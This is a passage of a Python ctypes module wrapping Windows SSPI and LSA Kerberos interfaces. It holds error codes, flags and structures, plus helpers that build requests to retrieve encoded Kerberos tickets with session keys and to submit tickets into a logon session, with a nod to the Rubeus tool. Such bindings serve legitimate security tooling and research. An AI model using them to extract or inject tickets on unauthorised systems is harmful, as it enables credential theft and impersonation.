111 CONTINUE_NEEDED = 0x00090312
112 INSUFFICIENT_MEMORY = 0x80090300 #Not enough memory is available to complete this request.
113 INVALID_HANDLE = 0x80090301 #The handle specified is invalid.
114 UNSUPPORTED_FUNCTION = 0x80090302 #The function requested is not supported.
115 TARGET_UNKNOWN = 0x80090303 #The specified target is unknown or unreachable.
116 INTERNAL_ERROR = 0x80090304 #The Local Security Authority (LSA) cannot be contacted.
117 SECPKG_NOT_FOUND = 0x80090305 #The requested security package does not exist.
118 NOT_OWNER = 0x80090306 #The caller is not the owner of the desired credentials.
119 CANNOT_INSTALL = 0x80090307 #The security package failed to initialize and cannot be installed.
120 INVALID_TOKEN = 0x80090308 #The token supplied to the function is invalid.
121 CANNOT_PACK = 0x80090309 #The security package is not able to marshal the logon buffer, so the logon attempt has failed.
122 QOP_NOT_SUPPORTED = 0x8009030A #The per-message quality of protection is not supported by the security package.
123 NO_IMPERSONATION = 0x8009030B #The security context does not allow impersonation of the client.
124 LOGON_DENIED = 0x8009030C #The logon attempt failed.
125 UNKNOWN_CREDENTIALS = 0x8009030D #The credentials supplied to the package were not recognized.
126 NO_CREDENTIALS = 0x8009030E #No credentials are available in the security package.
127 MESSAGE_ALTERED = 0x8009030F #The message or signature supplied for verification has been altered.
128 OUT_OF_SEQUENCE = 0x80090310 #The message supplied for verification is out of sequence.
129 NO_AUTHENTICATING_AUTHORITY = 0x80090311 #No authority could be contacted for authentication.
130 BAD_PKGID = 0x80090316 #The requested security package does not exist.
131 CONTEXT_EXPIRED = 0x80090317 #The context has expired and can no longer be used.
132 INCOMPLETE_MESSAGE = 0x80090318 #The supplied message is incomplete. The signature was not verified.
133 INCOMPLETE_CREDENTIALS = 0x80090320 #The credentials supplied were not complete and could not be verified. The context could not be initialized.
134 BUFFER_TOO_SMALL = 0x80090321 #The buffers supplied to a function was too small.
135 WRONG_PRINCIPAL = 0x80090322 #The target principal name is incorrect.
136 TIME_SKEW = 0x80090324 #The clocks on the client and server machines are skewed.
137 UNTRUSTED_ROOT = 0x80090325 #The certificate chain was issued by an authority that is not trusted.
138 ILLEGAL_MESSAGE = 0x80090326 #The message received was unexpected or badly formatted.
139 CERT_UNKNOWN = 0x80090327 #An unknown error occurred while processing the certificate.
140 CERT_EXPIRED = 0x80090328 # The received certificate has expired.
141 ENCRYPT_FAILURE = 0x80090329 #The specified data could not be encrypted.
142 DECRYPT_FAILURE = 0x80090330 #The specified data could not be decrypted.
143 ALGORITHM_MISMATCH = 0x80090331 #The client and server cannot communicate because they do not possess a common algorithm.
144 SECURITY_QOS_FAILED = 0x80090332 #The security context could not be established due to a failure in the requested quality of service (for example, mutual authentication or delegation).
145 UNFINISHED_CONTEXT_DELETED = 0x80090333 #A security context was deleted before the context was completed. This is considered a logon failure.
146 NO_TGT_REPLY = 0x80090334 #The client is trying to negotiate a context and the server requires user-to-user but did not send a ticket granting ticket (TGT) reply.
147 NO_IP_ADDRESSES = 0x80090335 #Unable to accomplish the requested task because the local machine does not have an IP addresses.
148 WRONG_CREDENTIAL_HANDLE = 0x80090336 #The supplied credential handle does not match the credential associated with the security context.
149 CRYPTO_SYSTEM_INVALID = 0x80090337 #The cryptographic system or checksum function is invalid because a required function is unavailable.
150 MAX_REFERRALS_EXCEEDED = 0x80090338 #The number of maximum ticket referrals has been exceeded.
151 MUST_BE_KDC = 0x80090339 #The local machine must be a Kerberos domain controller (KDC), and it is not.
152 STRONG_CRYPTO_NOT_SUPPORTED = 0x8009033A #The other end of the security negotiation requires strong cryptographics, but it is not supported on the local machine.
153 TOO_MANY_PRINCIPALS = 0x8009033B #The KDC reply contained more than one principal name.
154 NO_PA_DATA = 0x8009033C #Expected to find PA data for a hint of what etype to use, but it was not found.
155 PKINIT_NAME_MISMATCH = 0x8009033D #The client certificate does not contain a valid user principal name (UPN), or does not match the client name in the logon request. Contact your administrator.
156 SMARTCARD_LOGON_REQUIRED = 0x8009033E #Smart card logon is required and was not used.
157 SHUTDOWN_IN_PROGRESS = 0x8009033F #A system shutdown is in progress.
158 KDC_INVALID_REQUEST = 0x80090340 #An invalid request was sent to the KDC.
159 KDC_UNABLE_TO_REFER = 0x80090341 #The KDC was unable to generate a referral for the service requested.
160 KDC_UNKNOWN_ETYPE = 0x80090342 #The encryption type requested is not supported by the KDC.
161 UNSUPPORTED_PREAUTH = 0x80090343 #An unsupported pre-authentication mechanism was presented to the Kerberos package.
162 DELEGATION_REQUIRED = 0x80090345 #The requested operation cannot be completed. The computer must be trusted for delegation, and the current user account must be configured to allow delegation.
163 BAD_BINDINGS = 0x80090346 #Client's supplied Security Support Provider Interface (SSPI) channel bindings were incorrect.
164 MULTIPLE_ACCOUNTS = 0x80090347 #The received certificate was mapped to multiple accounts.
165 NO_KERB_KEY = 0x80090348 #No Kerberos key was found.
166 CERT_WRONG_USAGE = 0x80090349 #The certificate is not valid for the requested usage.
167 DOWNGRADE_DETECTED = 0x80090350 #The system detected a possible attempt to compromise security. Ensure that you can contact the server that authenticated you.
168 SMARTCARD_CERT_REVOKED = 0x80090351 #The smart card certificate used for authentication has been revoked. Contact your system administrator. The event log might contain additional information.
169 ISSUING_CA_UNTRUSTED = 0x80090352 #An untrusted certification authority (CA) was detected while processing the smart card certificate used for authentication. Contact your system administrator.
170 REVOCATION_OFFLINE_C = 0x80090353 #The revocation status of the smart card certificate used for authentication could not be determined. Contact your system administrator.
171 PKINIT_CLIENT_FAILURE = 0x80090354 #The smart card certificate used for authentication was not trusted. Contact your system administrator.
172 SMARTCARD_CERT_EXPIRED = 0x80090355 #The smart card certificate used for authentication has expired. Contact your system administrator.
173 NO_S4U_PROT_SUPPORT = 0x80090356 #The Kerberos subsystem encountered an error. A service for user protocol requests was made against a domain controller that does not support services for users.
174 CROSSREALM_DELEGATION_FAILURE = 0x80090357 #An attempt was made by this server to make a Kerberos-constrained delegation request for a target outside the server's realm. This is not supported and indicates a misconfiguration on this server's allowed-to-delegate-to list. Contact your administrator.
175 REVOCATION_OFFLINE_KDC = 0x80090358 #The revocation status of the domain controller certificate used for smart card authentication could not be determined. The system event log contains additional information. Contact your system administrator.
176 ISSUING_CA_UNTRUSTED_KDC = 0x80090359 #An untrusted CA was detected while processing the domain controller certificate used for authentication. The system event log contains additional information. Contact your system administrator.
177 KDC_CERT_EXPIRED = 0x8009035A #The domain controller certificate used for smart card logon has expired. Contact your system administrator with the contents of your system event log.
178 KDC_CERT_REVOKED = 0x8009035B #The domain controller certificate used for smart card logon has been revoked. Contact your system administrator with the contents of your system event log.
179 INVALID_PARAMETER = 0x8009035D #One or more of the parameters passed to the function were invalid.
180 DELEGATION_POLICY = 0x8009035E #The client policy does not allow credential delegation to the target server.
181 POLICY_NLTM_ONLY = 0x8009035F #The client policy does not allow credential delegation to the target server with NLTM only authentication.
182 RENEGOTIATE = 590625
183 COMPLETE_AND_CONTINUE = 590612
184 COMPLETE_NEEDED = 590611
185 #INCOMPLETE_CREDENTIALS = 590624
186
187 class SECPKG_CRED(enum.IntFlag):
188 AUTOLOGON_RESTRICTED = 0x00000010 #The security does not use default logon credentials or credentials from Credential Manager.
189 #This value is supported only by the Negotiate security package.
190 #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported.
191
192 BOTH = 3 #Validate an incoming credential or use a local credential to prepare an outgoing token. This flag enables both other flags. This flag is not valid with the Digest and Schannel SSPs.
193 INBOUND = 1 #Validate an incoming server credential. Inbound credentials might be validated by using an authenticating authority when InitializeSecurityContext (General) or AcceptSecurityContext (General) is called. If such an authority is not available, the function will fail and return SEC_E_NO_AUTHENTICATING_AUTHORITY. Validation is package specific.
194 OUTBOUND = 2 #Allow a local client credential to prepare an outgoing token.
195 PROCESS_POLICY_ONLY = 0x00000020 #The function processes server policy and returns SEC_E_NO_CREDENTIALS, indicating that the application should prompt for credentials.
196 #This value is supported only by the Negotiate security package.
197 #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported.
198
199
200 class ISC_REQ(enum.IntFlag):
201 DELEGATE = 1
202 MUTUAL_AUTH = 2
203 REPLAY_DETECT = 4
204 SEQUENCE_DETECT = 8
205 CONFIDENTIALITY = 16
206 USE_SESSION_KEY = 32
207 PROMPT_FOR_CREDS = 64
208 USE_SUPPLIED_CREDS = 128
209 ALLOCATE_MEMORY = 256
210 USE_DCE_STYLE = 512
211 DATAGRAM = 1024
212 CONNECTION = 2048
213 CALL_LEVEL = 4096
214 FRAGMENT_SUPPLIED = 8192
215 EXTENDED_ERROR = 16384
216 STREAM = 32768
217 INTEGRITY = 65536
218 IDENTIFY = 131072
219 NULL_SESSION = 262144
220 MANUAL_CRED_VALIDATION = 524288
221 RESERVED1 = 1048576
222 FRAGMENT_TO_FIT = 2097152
223 HTTP = 0x10000000
224
225 class SECPKG_ATTR(enum.Enum):
226 SESSION_KEY = 9
227 C_ACCESS_TOKEN = 0x80000012 #The pBuffer parameter contains a pointer to a SecPkgContext_AccessToken structure that specifies the access token for the current security context. This attribute is supported only on the server.
228 C_FULL_ACCESS_TOKEN = 0x80000082 #The pBuffer parameter contains a pointer to a SecPkgContext_AccessToken structure that specifies the access token for the current security context. This attribute is supported only on the server.
229 CERT_TRUST_STATUS = 0x80000084 #The pBuffer parameter contains a pointer to a CERT_TRUST_STATUS structure that specifies trust information about the certificate.This attribute is supported only on the client.
230 CREDS = 0x80000080 # The pBuffer parameter contains a pointer to a SecPkgContext_ClientCreds structure that specifies client credentials. The client credentials can be either user name and password or user name and smart card PIN. This attribute is supported only on the server.
231 CREDS_2 = 0x80000086 #The pBuffer parameter contains a pointer to a SecPkgContext_ClientCreds structure that specifies client credentials. If the client credential is user name and password, the buffer is a packed KERB_INTERACTIVE_LOGON structure. If the client credential is user name and smart card PIN, the buffer is a packed KERB_CERTIFICATE_LOGON structure. If the client credential is an online identity credential, the buffer is a marshaled SEC_WINNT_AUTH_IDENTITY_EX2 structure. This attribute is supported only on the CredSSP server. Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported.
232 NEGOTIATION_PACKAGE = 0x80000081 #The pBuffer parameter contains a pointer to a SecPkgContext_PackageInfo structure that specifies the name of the authentication package negotiated by the Microsoft Negotiate provider.
233 PACKAGE_INFO = 10 #The pBuffer parameter contains a pointer to a SecPkgContext_PackageInfostructure.Returns information on the SSP in use.
234 SERVER_AUTH_FLAGS = 0x80000083 #The pBuffer parameter contains a pointer to a SecPkgContext_Flags structure that specifies information about the flags in the current security context. This attribute is supported only on the client.
235 SIZES = 0x0 #The pBuffer parameter contains a pointer to a SecPkgContext_Sizes structure. Queries the sizes of the structures used in the per-message functions and authentication exchanges.
236 SUBJECT_SECURITY_ATTRIBUTES = 124 # The pBuffer parameter contains a pointer to a SecPkgContext_SubjectAttributes structure. This value returns information about the security attributes for the connection. This value is supported only on the CredSSP server. Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported.
237 ENDPOINT_BINDINGS = 26
238
239 # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-_secbuffer
240 class SECBUFFER_TYPE(enum.Enum):
241 SECBUFFER_ALERT = 17 #The buffer contains an alert message.
242 SECBUFFER_ATTRMASK = 4026531840 #The buffer contains a bitmask for a SECBUFFER_READONLY_WITH_CHECKSUM buffer.
243 SECBUFFER_CHANNEL_BINDINGS = 14 # The buffer contains channel binding information.
244 SECBUFFER_CHANGE_PASS_RESPONSE = 15 #The buffer contains a DOMAIN_PASSWORD_INFORMATION structure.
245 SECBUFFER_DATA = 1 #The buffer contains common data. The security package can read and write this data, for example, to encrypt some or all of it.
246 SECBUFFER_DTLS_MTU = 24#The buffer contains the setting for the maximum transmission unit (MTU) size for DTLS only. The default value is 1096 and the valid configurable range is between 200 and 64*1024.
247 SECBUFFER_EMPTY = 0 #This is a placeholder in the buffer array. The caller can supply several such entries in the array, and the security package can return information in them. For more information, see SSPI Context Semantics.
248 SECBUFFER_EXTRA = 5 #The security package uses this value to indicate the number of extra or unprocessed bytes in a message.
249 SECBUFFER_MECHLIST = 11 #The buffer contains a protocol-specific list of object identifiers (OIDs). It is not usually of interest to callers.
250 SECBUFFER_MECHLIST_SIGNATURE = 12 #The buffer contains a signature of a SECBUFFER_MECHLIST buffer. It is not usually of interest to callers.
251 SECBUFFER_MISSING = 4 #The security package uses this value to indicate the number of missing bytes in a particular message. The pvBuffer member is ignored in this type.
252 SECBUFFER_PKG_PARAMS = 3 #These are transport-to-package–specific parameters. For example, the NetWare redirector may supply the server object identifier, while DCE RPC can supply an association UUID, and so on.
253 SECBUFFER_PRESHARED_KEY = 22 #The buffer contains the preshared key. The maximum allowed PSK buffer size is 256 bytes.
254 SECBUFFER_PRESHARED_KEY_IDENTITY = 23 #The buffer contains the preshared key identity.
255 SECBUFFER_SRTP_MASTER_KEY_IDENTIFIER = 20 #The buffer contains the SRTP master key identifier.
256 SECBUFFER_SRTP_PROTECTION_PROFILES = 19 #The buffer contains the list of SRTP protection profiles, in descending order of preference.
257 SECBUFFER_STREAM_HEADER = 7 #The buffer contains a protocol-specific header for a particular record. It is not usually of interest to callers.
258 SECBUFFER_STREAM_TRAILER = 6 #The buffer contains a protocol-specific trailer for a particular record. It is not usually of interest to callers.
259 SECBUFFER_TARGET = 13 #This flag is reserved. Do not use it.
260 SECBUFFER_TARGET_HOST = 16 #The buffer specifies the service principal name (SPN) of the target.
261 #This value is supported by the Digest security package when used with channel bindings.
262 #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported.
263 SECBUFFER_TOKEN = 2 #The buffer contains the security token portion of the message. This is read-only for input parameters or read/write for output parameters.
264 SECBUFFER_TOKEN_BINDING = 21 #The buffer contains the supported token binding protocol version and key parameters, in descending order of preference.
265 SECBUFFER_APPLICATION_PROTOCOLS = 18 #The buffer contains a list of application protocol IDs, one list per application protocol negotiation extension type to be enabled.
266 SECBUFFER_PADDING = 9
267
268 class FILETIME(Structure):
269 _fields_ = [
270 ("dwLowDateTime", DWORD),
271 ("dwHighDateTime", DWORD),
272 ]
273 PFILETIME = POINTER(FILETIME)
274 TimeStamp = FILETIME
275 PTimeStamp = PFILETIME
276
277 # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-secpkgcontext_sessionkey
278 class SecPkgContext_SessionKey(Structure):
279 _fields_ = [('SessionKeyLength',ULONG),('SessionKey', LPBYTE)]
280
281 @property
282 def Buffer(self):
283 return string_at(self.SessionKey, size=self.SessionKeyLength)
284
285 # https://github.com/benjimin/pywebcorp/blob/master/pywebcorp/ctypes_sspi.py
286 class SecHandle(Structure):
287
288 _fields_ = [
289 ('dwLower',POINTER(ULONG)),
290 ('dwUpper',POINTER(ULONG))
291 ]
292 def __init__(self): # populate deeply (empty memory fields) rather than shallow null POINTERs.
293 super(SecHandle, self).__init__(pointer(ULONG()), pointer(ULONG()))
294
295 class SecBuffer(Structure):
296 """Stores a memory buffer: size, type-flag, and POINTER.
297 The type can be empty (0) or token (2).
298 InitializeSecurityContext will write to the buffer that is flagged "token"
299 and update the size, or else fail 0x80090321=SEC_E_BUFFER_TOO_SMALL."""
300 _fields_ = [
301 ('cbBuffer',ULONG),
302 ('BufferType',ULONG),
303 ('pvBuffer',PVOID)
304 ]
305 def __init__(self, token=b'\x00'*maxtoken_size, buffer_type = SECBUFFER_TYPE.SECBUFFER_TOKEN):
306 buf = create_string_buffer(token, size=len(token))
307 Structure.__init__(self,sizeof(buf),buffer_type.value,cast(byref(buf),PVOID))
308
309 @property
310 def Buffer(self):
311 return (SECBUFFER_TYPE(self.BufferType), string_at(self.pvBuffer, size=self.cbBuffer))
312
313 class SecBufferDesc(Structure):
314 """Descriptor stores SECBUFFER_VERSION=0, number of buffers (e.g. one),
315 and POINTER to an array of SecBuffer structs."""
316 _fields_ = [('ulVersion',ULONG),('cBuffers',ULONG),('pBuffers',POINTER(SecBuffer))]
317 def __init__(self, secbuffers = None):
318 #secbuffers = a list of security buffers (SecBuffer)
319 if secbuffers is not None:
320 Structure.__init__(self,0,len(secbuffers),(SecBuffer * len(secbuffers))(*secbuffers))
321 else:
322 Structure.__init__(self,0,1,pointer(SecBuffer()))
323 def __getitem__(self, index):
324 return self.pBuffers[index]
325
326 @property
327 def Buffers(self):
328 data = []
329 for i in range(self.cBuffers):
330 data.append(self.pBuffers[i].Buffer)
331 return data
332
333 PSecBufferDesc = POINTER(SecBufferDesc)
334
335 PSecHandle = POINTER(SecHandle)
336 CredHandle = SecHandle
337 PCredHandle = PSecHandle
338 CtxtHandle = SecHandle
339 PCtxtHandle = PSecHandle
340
341 class LUID(Structure):
342 _fields_ = [
343 ("LowPart", DWORD),
344 ("HighPart", LONG),
345 ]
346
347 def to_int(self):
348 return LUID.luid_to_int(self)
349
350 @staticmethod
351 def luid_to_int(luid):
352 return (luid.HighPart << 32) + luid.LowPart
353
354 @staticmethod
355 def from_int(i):
356 luid = LUID()
357 luid.HighPart = i >> 32
358 luid.LowPart = i & 0xFFFFFFFF
359 return luid
360
361 PLUID = POINTER(LUID)
362
363 class LSA_STRING(Structure):
364 _fields_ = [
365 ("Length", USHORT),
366 ("MaximumLength", USHORT),
367 ("Buffer", POINTER(c_char)),
368 ]
369 def to_string(self):
370 return string_at(self.Buffer, self.MaximumLength).decode()
371
372 PLSA_STRING = POINTER(LSA_STRING)
373
374 class LSA_UNICODE_STRING(Structure):
375 _fields_ = [
376 ("Length", USHORT),
377 ("MaximumLength", USHORT),
378 ("Buffer", POINTER(c_char)),
379 ]
380
381 @staticmethod
382 def from_string(s):
383 s = s.encode('utf-16-le')
384 lus = LSA_UNICODE_STRING()
385 lus.Buffer = create_string_buffer(s, len(s))
386 lus.MaximumLength = len(s)+1
387 lus.Length = len(s)
388 return lus
389
390 def to_string(self):
391 return string_at(self.Buffer, self.MaximumLength).decode('utf-16-le').replace('\x00','')
392
393 PLSA_UNICODE_STRING = POINTER(LSA_UNICODE_STRING)
394
395 class LSA_LAST_INTER_LOGON_INFO(Structure):
396 _fields_ = [
397 ("LastSuccessfulLogon", LARGE_INTEGER),
398 ("LastFailedLogon", LARGE_INTEGER),
399 ("FailedAttemptCountSinceLastSuccessfulLogon", ULONG)
400 ]
401 def to_dict(self):
402 return {
403 "LastSuccessfulLogon" : self.LastSuccessfulLogon,
404 "LastFailedLogon" : self.LastFailedLogon,
405 "FailedAttemptCountSinceLastSuccessfulLogon" : self.FailedAttemptCountSinceLastSuccessfulLogon
406 }
407 PLSA_LAST_INTER_LOGON_INFO = POINTER(LSA_LAST_INTER_LOGON_INFO)
408
409 class SECURITY_LOGON_SESSION_DATA(Structure):
410 _fields_ = [
411 ("Size", ULONG),
412 ("LogonId", LUID),
413 ("UserName", LSA_UNICODE_STRING),
414 ("LogonDomain", LSA_UNICODE_STRING),
415 ("AuthenticationPackage", LSA_UNICODE_STRING),
416 ("LogonType", ULONG),
417 ("Session", ULONG),
418 ("Sid", PVOID),
419 ("LogonTime", LARGE_INTEGER),
420 ("LogonServer", LSA_UNICODE_STRING),
421 ("DnsDomainName", LSA_UNICODE_STRING),
422 ("Upn", LSA_UNICODE_STRING),
423 ("UserFlags", ULONG),
424 ("LastLogonInfo", LSA_LAST_INTER_LOGON_INFO),
425 ("LogonScript", LSA_UNICODE_STRING),
426 ("ProfilePath", LSA_UNICODE_STRING),
427 ("HomeDirectory", LSA_UNICODE_STRING),
428 ("HomeDirectoryDrive", LSA_UNICODE_STRING),
429 ("LogoffTime", LARGE_INTEGER),
430 ("KickOffTime", LARGE_INTEGER),
431 ("PasswordLastSet", LARGE_INTEGER),
432 ("PasswordCanChange", LARGE_INTEGER),
433 ("PasswordMustChange", LARGE_INTEGER),
434 ]
435
436 def to_dict(self):
437 return {
438 "LogonId": self.LogonId.to_int(),
439 "UserName": self.UserName.to_string(),
440 "LogonDomain": self.LogonDomain.to_string(),
441 "AuthenticationPackage": self.AuthenticationPackage.to_string(),
442 "LogonType": self.LogonType,
443 "Session": self.Session,
444 "Sid": str(SID.from_ptr(self.Sid)), #PVOID), # PSID
445 "LogonTime": self.LogonTime,
446 "LogonServer": self.LogonServer.to_string(),
447 "DnsDomainName": self.DnsDomainName.to_string(),
448 "Upn": self.Upn.to_string(),
449 "UserFlags": self.UserFlags,
450 "LastLogonInfo": self.LastLogonInfo.to_dict(),
451 "LogonScript": self.LogonScript.to_string(),
452 "ProfilePath": self.ProfilePath.to_string(),
453 "HomeDirectory": self.HomeDirectory.to_string(),
454 "HomeDirectoryDrive": self.HomeDirectoryDrive.to_string(),
455 "LogoffTime": self.LogoffTime,
456 "KickOffTime": self.KickOffTime,
457 "PasswordLastSet": self.PasswordLastSet,
458 "PasswordCanChange": self.PasswordCanChange,
459 "PasswordMustChange": self.PasswordMustChange,
460 }
461
462 PSECURITY_LOGON_SESSION_DATA = POINTER(SECURITY_LOGON_SESSION_DATA)
463
464
465 class KERB_PURGE_TKT_CACHE_REQUEST(Structure):
466 _fields_ = [
467 ("MessageType", DWORD),
468 ("LogonId", LUID),
469 ("ServerName", LSA_STRING),
470 ("RealmName", LSA_STRING),
471 ]
472
473 def __init__(self, logonid = 0, servername=None, realname = None):
474 if isinstance(logonid, int):
475 logonid = LUID.from_int(logonid)
476
477 super(KERB_PURGE_TKT_CACHE_REQUEST, self).__init__(KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage.value, logonid)
478
479 class KERB_TICKET_CACHE_INFO(Structure):
480 _fields_ = [
481 ("ServerName", LSA_UNICODE_STRING),
482 ("RealmName", LSA_UNICODE_STRING),
483 ("StartTime", LARGE_INTEGER),
484 ("EndTime", LARGE_INTEGER),
485 ("RenewTime", LARGE_INTEGER),
486 ("EncryptionType", LONG),
487 ("TicketFlags", ULONG)
488 ]
489
490 def to_dict(self):
491 return {
492 "ServerName" : self.ServerName.to_string(),
493 "RealmName" : self.RealmName.to_string(),
494 "StartTime" : self.StartTime,
495 "EndTime" : self.EndTime,
496 "RenewTime" : self.RenewTime,
497 "EncryptionType" : self.EncryptionType,
498 "TicketFlags" : self.TicketFlags,
499 }
500 PKERB_TICKET_CACHE_INFO = POINTER(KERB_TICKET_CACHE_INFO)
501
502 class KERB_CRYPTO_KEY(Structure):
503 _fields_ = [
504 ("KeyType", LONG),
505 ("Length", ULONG),
506 ("Value", PVOID), #PUCHAR
507 ]
508
509 def to_dict(self):
510 return {
511 'KeyType' : self.KeyType,
512 'Key' : string_at(self.Value, self.Length)
513 }
514
515 PKERB_CRYPTO_KEY = POINTER(KERB_CRYPTO_KEY)
516
517 class KERB_EXTERNAL_NAME(Structure):
518 _fields_ = [
519 ("NameType", SHORT),
520 ("NameCount", USHORT),
521 ("Names", LSA_UNICODE_STRING) #LIST!!!! not implemented!
522 ]
523 PKERB_EXTERNAL_NAME = POINTER(KERB_EXTERNAL_NAME)
524
525 class KERB_EXTERNAL_TICKET(Structure):
526 _fields_ = [
527 ("ServiceName" , PVOID), #PKERB_EXTERNAL_NAME
528 ("TargetName" , PVOID), #PKERB_EXTERNAL_NAME
529 ("ClientName" , PVOID), #PKERB_EXTERNAL_NAME
530 ("DomainName" , LSA_UNICODE_STRING),
531 ("TargetDomainName" , LSA_UNICODE_STRING),
532 ("AltTargetDomainName" , LSA_UNICODE_STRING),
533 ("SessionKey" , KERB_CRYPTO_KEY),
534 ("TicketFlags" , ULONG),
535 ("Flags" , ULONG),
536 ("KeyExpirationTime" , LARGE_INTEGER),
537 ("StartTime" , LARGE_INTEGER),
538 ("EndTime" , LARGE_INTEGER),
539 ("RenewUntil" , LARGE_INTEGER),
540 ("TimeSkew" , LARGE_INTEGER),
541 ("EncodedTicketSize" , ULONG),
542 ("EncodedTicket" , PVOID)
543 ]
544
545 def get_data(self):
546 return {
547 'Key' : self.SessionKey.to_dict(),
548 'Ticket' : string_at(self.EncodedTicket, self.EncodedTicketSize)
549 }
550
551 PKERB_EXTERNAL_TICKET = KERB_EXTERNAL_TICKET
552
553 class KERB_QUERY_TKT_CACHE_REQUEST(Structure):
554 _fields_ = [
555 ("MessageType", DWORD),
556 ("LogonId", LUID),
557 ]
558
559 def __init__(self, logonid = 0):
560 if isinstance(logonid, int):
561 logonid = LUID.from_int(logonid)
562
563 super(KERB_QUERY_TKT_CACHE_REQUEST, self).__init__(KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage.value, logonid)
564
565 class KERB_QUERY_TKT_CACHE_RESPONSE_SIZE(Structure):
566 _fields_ = [
567 ("MessageType", DWORD),
568 ("CountOfTickets", ULONG),
569 ]
570 class KERB_QUERY_TKT_CACHE_RESPONSE(Structure):
571 _fields_ = [
572 ("MessageType", DWORD),
573 ("CountOfTickets", ULONG),
574 ("Tickets", KERB_TICKET_CACHE_INFO) #array of tickets!!
575 ]
576
577 class KERB_SUBMIT_TKT_REQUEST(Structure):
578 _fields_ = [
579 ("MessageType", DWORD),
580 ("LogonId", LUID),
581 ("TicketFlags", ULONG),
582 ("Key", KERB_CRYPTO_KEY),
583 ("KerbCredSize", ULONG),
584 ("KerbCredOffset" , ULONG)
585 ]
586
587 KERB_SUBMIT_TKT_REQUEST_OFFSET = sizeof(KERB_SUBMIT_TKT_REQUEST())
588
589 def submit_tkt_helper(ticket_data, logonid=0):
590 offset = KERB_SUBMIT_TKT_REQUEST_OFFSET - 4
591 if isinstance(logonid, int):
592 logonid = LUID.from_int(logonid)
593
594 class KERB_SUBMIT_TKT_REQUEST(Structure):
595 _pack_ = 4
596 _fields_ = [
597 ("MessageType", DWORD),
598 ("LogonId", LUID),
599 ("TicketFlags", ULONG),
600 #("KeyType", LONG),
601 ("Length", ULONG),
602 ("Value", PVOID), #PUCHAR
603 ("KerbCredSize", ULONG),
604 ("KerbCredOffset" , ULONG),
605 ("TicketData" , c_byte * len(ticket_data))
606 ]
607
608 req = KERB_SUBMIT_TKT_REQUEST()
609 req.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage.value
610 req.LogonId = logonid
611 req.TicketFlags = 0
612 req.Key = KERB_CRYPTO_KEY() #empty key
613 req.KerbCredSize = len(ticket_data)
614 #req.KerbCredOffset =
615 req.TicketData = (c_byte * len(ticket_data))(*ticket_data)
616
617
618 #struct_end = addressof(req) + sizeof(req)
619 #print('struct_end %s' % hex(struct_end))
620 #ticketdata_start = struct_end - len(ticket_data)
621 #targetname_start_padded = ticketdata_start - (ticketdata_start % sizeof(c_void_p))
622 #print('targetname_start_padded %s' % hex(targetname_start_padded))
623 #print('offset %s' % offset)
624 #print('len(ticket_data) %s' % len(ticket_data))
625 req.KerbCredOffset = offset #targetname_start_padded
626
627 #print(hexdump(string_at(addressof(req), sizeof(req)), start = addressof(req)))
628 #print()
629 #print(hexdump(string_at(addressof(req) + req.KerbCredOffset, 10 )))
630 #if string_at(addressof(req) + req.KerbCredOffset, req.KerbCredSize) != ticket_data:
631 # print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
632
633 return req
634
635 class KERB_RETRIEVE_TKT_REQUEST(Structure):
636 _fields_ = [
637 ("MessageType", DWORD),
638 ("LogonId", LUID),
639 ("TargetName", LSA_UNICODE_STRING),
640 ("TicketFlags", ULONG),
641 ("CacheOptions", ULONG),
642 ("EncryptionType", LONG),
643 ("CredentialsHandle", PVOID), #SecHandle
644 ]
645
646 def __init__(self, targetname, ticketflags = 0x0, cacheoptions = 0x8, encryptiontype = 0x0, logonid = 0):
647 if isinstance(logonid, int):
648 logonid = LUID.from_int(logonid)
649
650 super(KERB_RETRIEVE_TKT_REQUEST, self).__init__(
651 KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage.value,
652 logonid,
653 LSA_UNICODE_STRING.from_string(targetname),
654 ticketflags,
655 cacheoptions,
656 encryptiontype,
657 None,
658 )
659
660 def retrieve_tkt_helper(targetname, logonid = 0, ticketflags = 0x0, cacheoptions = 0x8, encryptiontype = 0x0, temp_offset = 0):
661 # Rubeus helped me here with the info that the "targetname" structure's internal pointer
662 # must be pointing to the bottom of the actual KERB_RETRIEVE_TKT_REQUEST otherwise you will get a generic error
663 # Sadly that wasn't completely enough because <insert vauge reasons here>. So I introduced an extra pointer to serve
664 # as a platform-independent padding between the oringinal structure and the actual targetname bytes.
665 #
666 # For reference:
667 # https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/LSA.cs
668
669 if isinstance(logonid, int):
670 logonid = LUID.from_int(logonid)
671
672 targetname_enc = targetname.encode('utf-16-le') + b'\x00\x00'
673 targetname_len_alloc = len(targetname_enc)
674 class KERB_RETRIEVE_TKT_REQUEST(Structure):
675 _fields_ = [
676 ("MessageType", DWORD),
677 ("LogonId", LUID),
678 ("TargetName", LSA_UNICODE_STRING),
679 ("TicketFlags", ULONG),
680 ("CacheOptions", ULONG),
681 ("EncryptionType", LONG),
682 ("CredentialsHandle", PVOID), #SecHandle
683 ("UNK", PVOID), #I put this here otherwise there is an error "Invalid parameter". Probably padding issue but I dunno
684 ("TargetNameData", (c_byte * targetname_len_alloc)),
685 ]
686
687 req = KERB_RETRIEVE_TKT_REQUEST()
688 req.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage.value
689 req.LogonId = logonid
690 req.TicketFlags = ticketflags
691 req.CacheOptions = cacheoptions
692 req.EncryptionType = encryptiontype
693 req.TargetNameData = (c_byte * len(targetname_enc))(*targetname_enc)
694
695 struct_end = addressof(req) + sizeof(req)
696 targetname_start = struct_end - targetname_len_alloc
697 targetname_start_padded = targetname_start - (targetname_start % sizeof(c_void_p))
698
699 lsa_target = LSA_UNICODE_STRING()
700 lsa_target.Length = len(targetname.encode('utf-16-le'))
